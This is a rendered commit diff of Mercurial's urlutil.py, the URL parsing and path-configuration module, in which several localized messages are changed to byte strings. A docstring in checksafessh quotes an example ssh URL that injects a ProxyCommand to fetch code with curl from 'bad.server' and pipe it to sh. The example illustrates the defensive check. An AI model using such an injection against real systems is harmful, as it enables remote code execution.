##// END OF EJS Templates
urlutil: byteify several localized messages...
Matt Harbison -
r48204:515014d7 default
parent child Browse files
Show More
@@ -1,923 +1,927 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27
28 28 if pycompat.TYPE_CHECKING:
29 29 from typing import (
30 30 Union,
31 31 )
32 32
33 33 urlreq = urllibcompat.urlreq
34 34
35 35
36 36 def getport(port):
37 37 # type: (Union[bytes, int]) -> int
38 38 """Return the port for a given network service.
39 39
40 40 If port is an integer, it's returned as is. If it's a string, it's
41 41 looked up using socket.getservbyname(). If there's no matching
42 42 service, error.Abort is raised.
43 43 """
44 44 try:
45 45 return int(port)
46 46 except ValueError:
47 47 pass
48 48
49 49 try:
50 50 return socket.getservbyname(pycompat.sysstr(port))
51 51 except socket.error:
52 52 raise error.Abort(
53 53 _(b"no port number associated with service '%s'") % port
54 54 )
55 55
56 56
57 57 class url(object):
58 58 r"""Reliable URL parser.
59 59
60 60 This parses URLs and provides attributes for the following
61 61 components:
62 62
63 63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64 64
65 65 Missing components are set to None. The only exception is
66 66 fragment, which is set to '' if present but empty.
67 67
68 68 If parsefragment is False, fragment is included in query. If
69 69 parsequery is False, query is included in path. If both are
70 70 False, both fragment and query are included in path.
71 71
72 72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73 73
74 74 Note that for backward compatibility reasons, bundle URLs do not
75 75 take host names. That means 'bundle://../' has a path of '../'.
76 76
77 77 Examples:
78 78
79 79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 83 >>> url(b'file:///home/joe/repo')
84 84 <url scheme: 'file', path: '/home/joe/repo'>
85 85 >>> url(b'file:///c:/temp/foo/')
86 86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 87 >>> url(b'bundle:foo')
88 88 <url scheme: 'bundle', path: 'foo'>
89 89 >>> url(b'bundle://../foo')
90 90 <url scheme: 'bundle', path: '../foo'>
91 91 >>> url(br'c:\foo\bar')
92 92 <url path: 'c:\\foo\\bar'>
93 93 >>> url(br'\\blah\blah\blah')
94 94 <url path: '\\\\blah\\blah\\blah'>
95 95 >>> url(br'\\blah\blah\blah#baz')
96 96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 97 >>> url(br'file:///C:\users\me')
98 98 <url scheme: 'file', path: 'C:\\users\\me'>
99 99
100 100 Authentication credentials:
101 101
102 102 >>> url(b'ssh://joe:xyz@x/repo')
103 103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 104 >>> url(b'ssh://joe@x/repo')
105 105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106 106
107 107 Query strings and fragments:
108 108
109 109 >>> url(b'http://host/a?b#c')
110 110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113 113
114 114 Empty path:
115 115
116 116 >>> url(b'')
117 117 <url path: ''>
118 118 >>> url(b'#a')
119 119 <url path: '', fragment: 'a'>
120 120 >>> url(b'http://host/')
121 121 <url scheme: 'http', host: 'host', path: ''>
122 122 >>> url(b'http://host/#a')
123 123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124 124
125 125 Only scheme:
126 126
127 127 >>> url(b'http:')
128 128 <url scheme: 'http'>
129 129 """
130 130
131 131 _safechars = b"!~*'()+"
132 132 _safepchars = b"/!~*'()+:\\"
133 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134 134
135 135 def __init__(self, path, parsequery=True, parsefragment=True):
136 136 # type: (bytes, bool, bool) -> None
137 137 # We slowly chomp away at path until we have only the path left
138 138 self.scheme = self.user = self.passwd = self.host = None
139 139 self.port = self.path = self.query = self.fragment = None
140 140 self._localpath = True
141 141 self._hostport = b''
142 142 self._origpath = path
143 143
144 144 if parsefragment and b'#' in path:
145 145 path, self.fragment = path.split(b'#', 1)
146 146
147 147 # special case for Windows drive letters and UNC paths
148 148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 149 self.path = path
150 150 return
151 151
152 152 # For compatibility reasons, we can't handle bundle paths as
153 153 # normal URLS
154 154 if path.startswith(b'bundle:'):
155 155 self.scheme = b'bundle'
156 156 path = path[7:]
157 157 if path.startswith(b'//'):
158 158 path = path[2:]
159 159 self.path = path
160 160 return
161 161
162 162 if self._matchscheme(path):
163 163 parts = path.split(b':', 1)
164 164 if parts[0]:
165 165 self.scheme, path = parts
166 166 self._localpath = False
167 167
168 168 if not path:
169 169 path = None
170 170 if self._localpath:
171 171 self.path = b''
172 172 return
173 173 else:
174 174 if self._localpath:
175 175 self.path = path
176 176 return
177 177
178 178 if parsequery and b'?' in path:
179 179 path, self.query = path.split(b'?', 1)
180 180 if not path:
181 181 path = None
182 182 if not self.query:
183 183 self.query = None
184 184
185 185 # // is required to specify a host/authority
186 186 if path and path.startswith(b'//'):
187 187 parts = path[2:].split(b'/', 1)
188 188 if len(parts) > 1:
189 189 self.host, path = parts
190 190 else:
191 191 self.host = parts[0]
192 192 path = None
193 193 if not self.host:
194 194 self.host = None
195 195 # path of file:///d is /d
196 196 # path of file:///d:/ is d:/, not /d:/
197 197 if path and not hasdriveletter(path):
198 198 path = b'/' + path
199 199
200 200 if self.host and b'@' in self.host:
201 201 self.user, self.host = self.host.rsplit(b'@', 1)
202 202 if b':' in self.user:
203 203 self.user, self.passwd = self.user.split(b':', 1)
204 204 if not self.host:
205 205 self.host = None
206 206
207 207 # Don't split on colons in IPv6 addresses without ports
208 208 if (
209 209 self.host
210 210 and b':' in self.host
211 211 and not (
212 212 self.host.startswith(b'[') and self.host.endswith(b']')
213 213 )
214 214 ):
215 215 self._hostport = self.host
216 216 self.host, self.port = self.host.rsplit(b':', 1)
217 217 if not self.host:
218 218 self.host = None
219 219
220 220 if (
221 221 self.host
222 222 and self.scheme == b'file'
223 223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 224 ):
225 225 raise error.Abort(
226 226 _(b'file:// URLs can only refer to localhost')
227 227 )
228 228
229 229 self.path = path
230 230
231 231 # leave the query string escaped
232 232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 233 v = getattr(self, a)
234 234 if v is not None:
235 235 setattr(self, a, urlreq.unquote(v))
236 236
237 237 def copy(self):
238 238 u = url(b'temporary useless value')
239 239 u.path = self.path
240 240 u.scheme = self.scheme
241 241 u.user = self.user
242 242 u.passwd = self.passwd
243 243 u.host = self.host
244 244 u.path = self.path
245 245 u.query = self.query
246 246 u.fragment = self.fragment
247 247 u._localpath = self._localpath
248 248 u._hostport = self._hostport
249 249 u._origpath = self._origpath
250 250 return u
251 251
252 252 @encoding.strmethod
253 253 def __repr__(self):
254 254 attrs = []
255 255 for a in (
256 256 b'scheme',
257 257 b'user',
258 258 b'passwd',
259 259 b'host',
260 260 b'port',
261 261 b'path',
262 262 b'query',
263 263 b'fragment',
264 264 ):
265 265 v = getattr(self, a)
266 266 if v is not None:
267 267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 268 return b'<url %s>' % b', '.join(attrs)
269 269
270 270 def __bytes__(self):
271 271 r"""Join the URL's components back into a URL string.
272 272
273 273 Examples:
274 274
275 275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 278 'http://user:pw@host:80/?foo=bar&baz=42'
279 279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 282 'ssh://user:pw@[::1]:2200//home/joe#'
283 283 >>> bytes(url(b'http://localhost:80//'))
284 284 'http://localhost:80//'
285 285 >>> bytes(url(b'http://localhost:80/'))
286 286 'http://localhost:80/'
287 287 >>> bytes(url(b'http://localhost:80'))
288 288 'http://localhost:80/'
289 289 >>> bytes(url(b'bundle:foo'))
290 290 'bundle:foo'
291 291 >>> bytes(url(b'bundle://../foo'))
292 292 'bundle:../foo'
293 293 >>> bytes(url(b'path'))
294 294 'path'
295 295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 296 'file:///tmp/foo/bar'
297 297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 298 'file:///c:/tmp/foo/bar'
299 299 >>> print(url(br'bundle:foo\bar'))
300 300 bundle:foo\bar
301 301 >>> print(url(br'file:///D:\data\hg'))
302 302 file:///D:\data\hg
303 303 """
304 304 if self._localpath:
305 305 s = self.path
306 306 if self.scheme == b'bundle':
307 307 s = b'bundle:' + s
308 308 if self.fragment:
309 309 s += b'#' + self.fragment
310 310 return s
311 311
312 312 s = self.scheme + b':'
313 313 if self.user or self.passwd or self.host:
314 314 s += b'//'
315 315 elif self.scheme and (
316 316 not self.path
317 317 or self.path.startswith(b'/')
318 318 or hasdriveletter(self.path)
319 319 ):
320 320 s += b'//'
321 321 if hasdriveletter(self.path):
322 322 s += b'/'
323 323 if self.user:
324 324 s += urlreq.quote(self.user, safe=self._safechars)
325 325 if self.passwd:
326 326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 327 if self.user or self.passwd:
328 328 s += b'@'
329 329 if self.host:
330 330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 331 s += urlreq.quote(self.host)
332 332 else:
333 333 s += self.host
334 334 if self.port:
335 335 s += b':' + urlreq.quote(self.port)
336 336 if self.host:
337 337 s += b'/'
338 338 if self.path:
339 339 # TODO: similar to the query string, we should not unescape the
340 340 # path when we store it, the path might contain '%2f' = '/',
341 341 # which we should *not* escape.
342 342 s += urlreq.quote(self.path, safe=self._safepchars)
343 343 if self.query:
344 344 # we store the query in escaped form.
345 345 s += b'?' + self.query
346 346 if self.fragment is not None:
347 347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 348 return s
349 349
350 350 __str__ = encoding.strmethod(__bytes__)
351 351
352 352 def authinfo(self):
353 353 user, passwd = self.user, self.passwd
354 354 try:
355 355 self.user, self.passwd = None, None
356 356 s = bytes(self)
357 357 finally:
358 358 self.user, self.passwd = user, passwd
359 359 if not self.user:
360 360 return (s, None)
361 361 # authinfo[1] is passed to urllib2 password manager, and its
362 362 # URIs must not contain credentials. The host is passed in the
363 363 # URIs list because Python < 2.4.3 uses only that to search for
364 364 # a password.
365 365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366 366
367 367 def isabs(self):
368 368 if self.scheme and self.scheme != b'file':
369 369 return True # remote URL
370 370 if hasdriveletter(self.path):
371 371 return True # absolute for our purposes - can't be joined()
372 372 if self.path.startswith(br'\\'):
373 373 return True # Windows UNC path
374 374 if self.path.startswith(b'/'):
375 375 return True # POSIX-style
376 376 return False
377 377
378 378 def localpath(self):
379 379 # type: () -> bytes
380 380 if self.scheme == b'file' or self.scheme == b'bundle':
381 381 path = self.path or b'/'
382 382 # For Windows, we need to promote hosts containing drive
383 383 # letters to paths with drive letters.
384 384 if hasdriveletter(self._hostport):
385 385 path = self._hostport + b'/' + self.path
386 386 elif (
387 387 self.host is not None and self.path and not hasdriveletter(path)
388 388 ):
389 389 path = b'/' + path
390 390 return path
391 391 return self._origpath
392 392
393 393 def islocal(self):
394 394 '''whether localpath will return something that posixfile can open'''
395 395 return (
396 396 not self.scheme
397 397 or self.scheme == b'file'
398 398 or self.scheme == b'bundle'
399 399 )
400 400
401 401
402 402 def hasscheme(path):
403 403 # type: (bytes) -> bool
404 404 return bool(url(path).scheme) # cast to help pytype
405 405
406 406
407 407 def hasdriveletter(path):
408 408 # type: (bytes) -> bool
409 409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410 410
411 411
412 412 def urllocalpath(path):
413 413 # type: (bytes) -> bytes
414 414 return url(path, parsequery=False, parsefragment=False).localpath()
415 415
416 416
417 417 def checksafessh(path):
418 418 # type: (bytes) -> None
419 419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420 420
421 421 This is a sanity check for ssh urls. ssh will parse the first item as
422 422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 423 Let's prevent these potentially exploited urls entirely and warn the
424 424 user.
425 425
426 426 Raises an error.Abort when the url is unsafe.
427 427 """
428 428 path = urlreq.unquote(path)
429 429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 430 raise error.Abort(
431 431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 432 )
433 433
434 434
435 435 def hidepassword(u):
436 436 # type: (bytes) -> bytes
437 437 '''hide user credential in a url string'''
438 438 u = url(u)
439 439 if u.passwd:
440 440 u.passwd = b'***'
441 441 return bytes(u)
442 442
443 443
444 444 def removeauth(u):
445 445 # type: (bytes) -> bytes
446 446 '''remove all authentication information from a url string'''
447 447 u = url(u)
448 448 u.user = u.passwd = None
449 449 return bytes(u)
450 450
451 451
452 452 def list_paths(ui, target_path=None):
453 453 """list all the (name, paths) in the passed ui"""
454 454 result = []
455 455 if target_path is None:
456 456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 457 for p in paths:
458 458 result.append((name, p))
459 459
460 460 else:
461 461 for path in ui.paths.get(target_path, []):
462 462 result.append((target_path, path))
463 463 return result
464 464
465 465
466 466 def try_path(ui, url):
467 467 """try to build a path from a url
468 468
469 469 Return None if no Path could built.
470 470 """
471 471 try:
472 472 # we pass the ui instance are warning might need to be issued
473 473 return path(ui, None, rawloc=url)
474 474 except ValueError:
475 475 return None
476 476
477 477
478 478 def get_push_paths(repo, ui, dests):
479 479 """yields all the `path` selected as push destination by `dests`"""
480 480 if not dests:
481 481 if b'default-push' in ui.paths:
482 482 for p in ui.paths[b'default-push']:
483 483 yield p
484 484 elif b'default' in ui.paths:
485 485 for p in ui.paths[b'default']:
486 486 yield p
487 487 else:
488 488 raise error.ConfigError(
489 489 _(b'default repository not configured!'),
490 490 hint=_(b"see 'hg help config.paths'"),
491 491 )
492 492 else:
493 493 for dest in dests:
494 494 if dest in ui.paths:
495 495 for p in ui.paths[dest]:
496 496 yield p
497 497 else:
498 498 path = try_path(ui, dest)
499 499 if path is None:
500 500 msg = _(b'repository %s does not exist')
501 501 msg %= dest
502 502 raise error.RepoError(msg)
503 503 yield path
504 504
505 505
506 506 def get_pull_paths(repo, ui, sources, default_branches=()):
507 507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 508 if not sources:
509 509 sources = [b'default']
510 510 for source in sources:
511 511 if source in ui.paths:
512 512 for p in ui.paths[source]:
513 513 yield parseurl(p.rawloc, default_branches)
514 514 else:
515 515 # Try to resolve as a local path or URI.
516 516 path = try_path(ui, source)
517 517 if path is not None:
518 518 url = path.rawloc
519 519 else:
520 520 url = source
521 521 yield parseurl(url, default_branches)
522 522
523 523
524 524 def get_unique_push_path(action, repo, ui, dest=None):
525 525 """return a unique `path` or abort if multiple are found
526 526
527 527 This is useful for command and action that does not support multiple
528 528 destination (yet).
529 529
530 530 Note that for now, we cannot get multiple destination so this function is "trivial".
531 531
532 532 The `action` parameter will be used for the error message.
533 533 """
534 534 if dest is None:
535 535 dests = []
536 536 else:
537 537 dests = [dest]
538 538 dests = list(get_push_paths(repo, ui, dests))
539 539 if len(dests) != 1:
540 540 if dest is None:
541 msg = _("default path points to %d urls while %s only supports one")
541 msg = _(
542 b"default path points to %d urls while %s only supports one"
543 )
542 544 msg %= (len(dests), action)
543 545 else:
544 msg = _("path points to %d urls while %s only supports one: %s")
546 msg = _(b"path points to %d urls while %s only supports one: %s")
545 547 msg %= (len(dests), action, dest)
546 548 raise error.Abort(msg)
547 549 return dests[0]
548 550
549 551
550 552 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
551 553 """return a unique `(path, branch)` or abort if multiple are found
552 554
553 555 This is useful for command and action that does not support multiple
554 556 destination (yet).
555 557
556 558 Note that for now, we cannot get multiple destination so this function is "trivial".
557 559
558 560 The `action` parameter will be used for the error message.
559 561 """
560 562 urls = []
561 563 if source is None:
562 564 if b'default' in ui.paths:
563 565 urls.extend(p.rawloc for p in ui.paths[b'default'])
564 566 else:
565 567 # XXX this is the historical default behavior, but that is not
566 568 # great, consider breaking BC on this.
567 569 urls.append(b'default')
568 570 else:
569 571 if source in ui.paths:
570 572 urls.extend(p.rawloc for p in ui.paths[source])
571 573 else:
572 574 # Try to resolve as a local path or URI.
573 575 path = try_path(ui, source)
574 576 if path is not None:
575 577 urls.append(path.rawloc)
576 578 else:
577 579 urls.append(source)
578 580 if len(urls) != 1:
579 581 if source is None:
580 msg = _("default path points to %d urls while %s only supports one")
582 msg = _(
583 b"default path points to %d urls while %s only supports one"
584 )
581 585 msg %= (len(urls), action)
582 586 else:
583 msg = _("path points to %d urls while %s only supports one: %s")
587 msg = _(b"path points to %d urls while %s only supports one: %s")
584 588 msg %= (len(urls), action, source)
585 589 raise error.Abort(msg)
586 590 return parseurl(urls[0], default_branches)
587 591
588 592
589 593 def get_clone_path(ui, source, default_branches=()):
590 594 """return the `(origsource, path, branch)` selected as clone source"""
591 595 urls = []
592 596 if source is None:
593 597 if b'default' in ui.paths:
594 598 urls.extend(p.rawloc for p in ui.paths[b'default'])
595 599 else:
596 600 # XXX this is the historical default behavior, but that is not
597 601 # great, consider breaking BC on this.
598 602 urls.append(b'default')
599 603 else:
600 604 if source in ui.paths:
601 605 urls.extend(p.rawloc for p in ui.paths[source])
602 606 else:
603 607 # Try to resolve as a local path or URI.
604 608 path = try_path(ui, source)
605 609 if path is not None:
606 610 urls.append(path.rawloc)
607 611 else:
608 612 urls.append(source)
609 613 if len(urls) != 1:
610 614 if source is None:
611 615 msg = _(
612 "default path points to %d urls while only one is supported"
616 b"default path points to %d urls while only one is supported"
613 617 )
614 618 msg %= len(urls)
615 619 else:
616 msg = _("path points to %d urls while only one is supported: %s")
620 msg = _(b"path points to %d urls while only one is supported: %s")
617 621 msg %= (len(urls), source)
618 622 raise error.Abort(msg)
619 623 url = urls[0]
620 624 clone_path, branch = parseurl(url, default_branches)
621 625 return url, clone_path, branch
622 626
623 627
624 628 def parseurl(path, branches=None):
625 629 '''parse url#branch, returning (url, (branch, branches))'''
626 630 u = url(path)
627 631 branch = None
628 632 if u.fragment:
629 633 branch = u.fragment
630 634 u.fragment = None
631 635 return bytes(u), (branch, branches or [])
632 636
633 637
634 638 class paths(dict):
635 639 """Represents a collection of paths and their configs.
636 640
637 641 Data is initially derived from ui instances and the config files they have
638 642 loaded.
639 643 """
640 644
641 645 def __init__(self, ui):
642 646 dict.__init__(self)
643 647
644 648 home_path = os.path.expanduser(b'~')
645 649
646 650 for name, value in ui.configitems(b'paths', ignoresub=True):
647 651 # No location is the same as not existing.
648 652 if not value:
649 653 continue
650 654 _value, sub_opts = ui.configsuboptions(b'paths', name)
651 655 s = ui.configsource(b'paths', name)
652 656 root_key = (name, value, s)
653 657 root = ui._path_to_root.get(root_key, home_path)
654 658
655 659 multi_url = sub_opts.get(b'multi-urls')
656 660 if multi_url is not None and stringutil.parsebool(multi_url):
657 661 base_locs = stringutil.parselist(value)
658 662 else:
659 663 base_locs = [value]
660 664
661 665 paths = []
662 666 for loc in base_locs:
663 667 loc = os.path.expandvars(loc)
664 668 loc = os.path.expanduser(loc)
665 669 if not hasscheme(loc) and not os.path.isabs(loc):
666 670 loc = os.path.normpath(os.path.join(root, loc))
667 671 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
668 672 paths.append(p)
669 673 self[name] = paths
670 674
671 675 for name, old_paths in sorted(self.items()):
672 676 new_paths = []
673 677 for p in old_paths:
674 678 new_paths.extend(_chain_path(p, ui, self))
675 679 self[name] = new_paths
676 680
677 681 def getpath(self, ui, name, default=None):
678 682 """Return a ``path`` from a string, falling back to default.
679 683
680 684 ``name`` can be a named path or locations. Locations are filesystem
681 685 paths or URIs.
682 686
683 687 Returns None if ``name`` is not a registered path, a URI, or a local
684 688 path to a repo.
685 689 """
686 690 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
687 691 ui.deprecwarn(msg, '6.0')
688 692 # Only fall back to default if no path was requested.
689 693 if name is None:
690 694 if not default:
691 695 default = ()
692 696 elif not isinstance(default, (tuple, list)):
693 697 default = (default,)
694 698 for k in default:
695 699 try:
696 700 return self[k][0]
697 701 except KeyError:
698 702 continue
699 703 return None
700 704
701 705 # Most likely empty string.
702 706 # This may need to raise in the future.
703 707 if not name:
704 708 return None
705 709 if name in self:
706 710 return self[name][0]
707 711 else:
708 712 # Try to resolve as a local path or URI.
709 713 path = try_path(ui, name)
710 714 if path is None:
711 715 raise error.RepoError(_(b'repository %s does not exist') % name)
712 716 return path.rawloc
713 717
714 718
715 719 _pathsuboptions = {}
716 720
717 721
718 722 def pathsuboption(option, attr):
719 723 """Decorator used to declare a path sub-option.
720 724
721 725 Arguments are the sub-option name and the attribute it should set on
722 726 ``path`` instances.
723 727
724 728 The decorated function will receive as arguments a ``ui`` instance,
725 729 ``path`` instance, and the string value of this option from the config.
726 730 The function should return the value that will be set on the ``path``
727 731 instance.
728 732
729 733 This decorator can be used to perform additional verification of
730 734 sub-options and to change the type of sub-options.
731 735 """
732 736
733 737 def register(func):
734 738 _pathsuboptions[option] = (attr, func)
735 739 return func
736 740
737 741 return register
738 742
739 743
740 744 @pathsuboption(b'pushurl', b'pushloc')
741 745 def pushurlpathoption(ui, path, value):
742 746 u = url(value)
743 747 # Actually require a URL.
744 748 if not u.scheme:
745 749 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
746 750 msg %= (path.name, value)
747 751 ui.warn(msg)
748 752 return None
749 753
750 754 # Don't support the #foo syntax in the push URL to declare branch to
751 755 # push.
752 756 if u.fragment:
753 757 ui.warn(
754 758 _(
755 759 b'("#fragment" in paths.%s:pushurl not supported; '
756 760 b'ignoring)\n'
757 761 )
758 762 % path.name
759 763 )
760 764 u.fragment = None
761 765
762 766 return bytes(u)
763 767
764 768
765 769 @pathsuboption(b'pushrev', b'pushrev')
766 770 def pushrevpathoption(ui, path, value):
767 771 return value
768 772
769 773
770 774 @pathsuboption(b'multi-urls', b'multi_urls')
771 775 def multiurls_pathoption(ui, path, value):
772 776 res = stringutil.parsebool(value)
773 777 if res is None:
774 778 ui.warn(
775 779 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
776 780 )
777 781 res = False
778 782 return res
779 783
780 784
781 785 def _chain_path(base_path, ui, paths):
782 786 """return the result of "path://" logic applied on a given path"""
783 787 new_paths = []
784 788 if base_path.url.scheme != b'path':
785 789 new_paths.append(base_path)
786 790 else:
787 791 assert base_path.url.path is None
788 792 sub_paths = paths.get(base_path.url.host)
789 793 if sub_paths is None:
790 794 m = _(b'cannot use `%s`, "%s" is not a known path')
791 795 m %= (base_path.rawloc, base_path.url.host)
792 796 raise error.Abort(m)
793 797 for subpath in sub_paths:
794 798 path = base_path.copy()
795 799 if subpath.raw_url.scheme == b'path':
796 800 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
797 801 m %= (path.rawloc, path.url.host)
798 802 raise error.Abort(m)
799 803 path.url = subpath.url
800 804 path.rawloc = subpath.rawloc
801 805 path.loc = subpath.loc
802 806 if path.branch is None:
803 807 path.branch = subpath.branch
804 808 else:
805 809 base = path.rawloc.rsplit(b'#', 1)[0]
806 810 path.rawloc = b'%s#%s' % (base, path.branch)
807 811 suboptions = subpath._all_sub_opts.copy()
808 812 suboptions.update(path._own_sub_opts)
809 813 path._apply_suboptions(ui, suboptions)
810 814 new_paths.append(path)
811 815 return new_paths
812 816
813 817
814 818 class path(object):
815 819 """Represents an individual path and its configuration."""
816 820
817 821 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
818 822 """Construct a path from its config options.
819 823
820 824 ``ui`` is the ``ui`` instance the path is coming from.
821 825 ``name`` is the symbolic name of the path.
822 826 ``rawloc`` is the raw location, as defined in the config.
823 827 ``pushloc`` is the raw locations pushes should be made to.
824 828
825 829 If ``name`` is not defined, we require that the location be a) a local
826 830 filesystem path with a .hg directory or b) a URL. If not,
827 831 ``ValueError`` is raised.
828 832 """
829 833 if ui is None:
830 834 # used in copy
831 835 assert name is None
832 836 assert rawloc is None
833 837 assert suboptions is None
834 838 return
835 839
836 840 if not rawloc:
837 841 raise ValueError(b'rawloc must be defined')
838 842
839 843 # Locations may define branches via syntax <base>#<branch>.
840 844 u = url(rawloc)
841 845 branch = None
842 846 if u.fragment:
843 847 branch = u.fragment
844 848 u.fragment = None
845 849
846 850 self.url = u
847 851 # the url from the config/command line before dealing with `path://`
848 852 self.raw_url = u.copy()
849 853 self.branch = branch
850 854
851 855 self.name = name
852 856 self.rawloc = rawloc
853 857 self.loc = b'%s' % u
854 858
855 859 self._validate_path()
856 860
857 861 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
858 862 self._own_sub_opts = {}
859 863 if suboptions is not None:
860 864 self._own_sub_opts = suboptions.copy()
861 865 sub_opts.update(suboptions)
862 866 self._all_sub_opts = sub_opts.copy()
863 867
864 868 self._apply_suboptions(ui, sub_opts)
865 869
866 870 def copy(self):
867 871 """make a copy of this path object"""
868 872 new = self.__class__()
869 873 for k, v in self.__dict__.items():
870 874 new_copy = getattr(v, 'copy', None)
871 875 if new_copy is not None:
872 876 v = new_copy()
873 877 new.__dict__[k] = v
874 878 return new
875 879
876 880 def _validate_path(self):
877 881 # When given a raw location but not a symbolic name, validate the
878 882 # location is valid.
879 883 if (
880 884 not self.name
881 885 and not self.url.scheme
882 886 and not self._isvalidlocalpath(self.loc)
883 887 ):
884 888 raise ValueError(
885 889 b'location is not a URL or path to a local '
886 890 b'repo: %s' % self.rawloc
887 891 )
888 892
889 893 def _apply_suboptions(self, ui, sub_options):
890 894 # Now process the sub-options. If a sub-option is registered, its
891 895 # attribute will always be present. The value will be None if there
892 896 # was no valid sub-option.
893 897 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
894 898 if suboption not in sub_options:
895 899 setattr(self, attr, None)
896 900 continue
897 901
898 902 value = func(ui, self, sub_options[suboption])
899 903 setattr(self, attr, value)
900 904
901 905 def _isvalidlocalpath(self, path):
902 906 """Returns True if the given path is a potentially valid repository.
903 907 This is its own function so that extensions can change the definition of
904 908 'valid' in this case (like when pulling from a git repo into a hg
905 909 one)."""
906 910 try:
907 911 return os.path.isdir(os.path.join(path, b'.hg'))
908 912 # Python 2 may return TypeError. Python 3, ValueError.
909 913 except (TypeError, ValueError):
910 914 return False
911 915
912 916 @property
913 917 def suboptions(self):
914 918 """Return sub-options and their values for this path.
915 919
916 920 This is intended to be used for presentation purposes.
917 921 """
918 922 d = {}
919 923 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
920 924 value = getattr(self, attr)
921 925 if value is not None:
922 926 d[subopt] = value
923 927 return d
General Comments 0
You need to be logged in to leave comments. Login now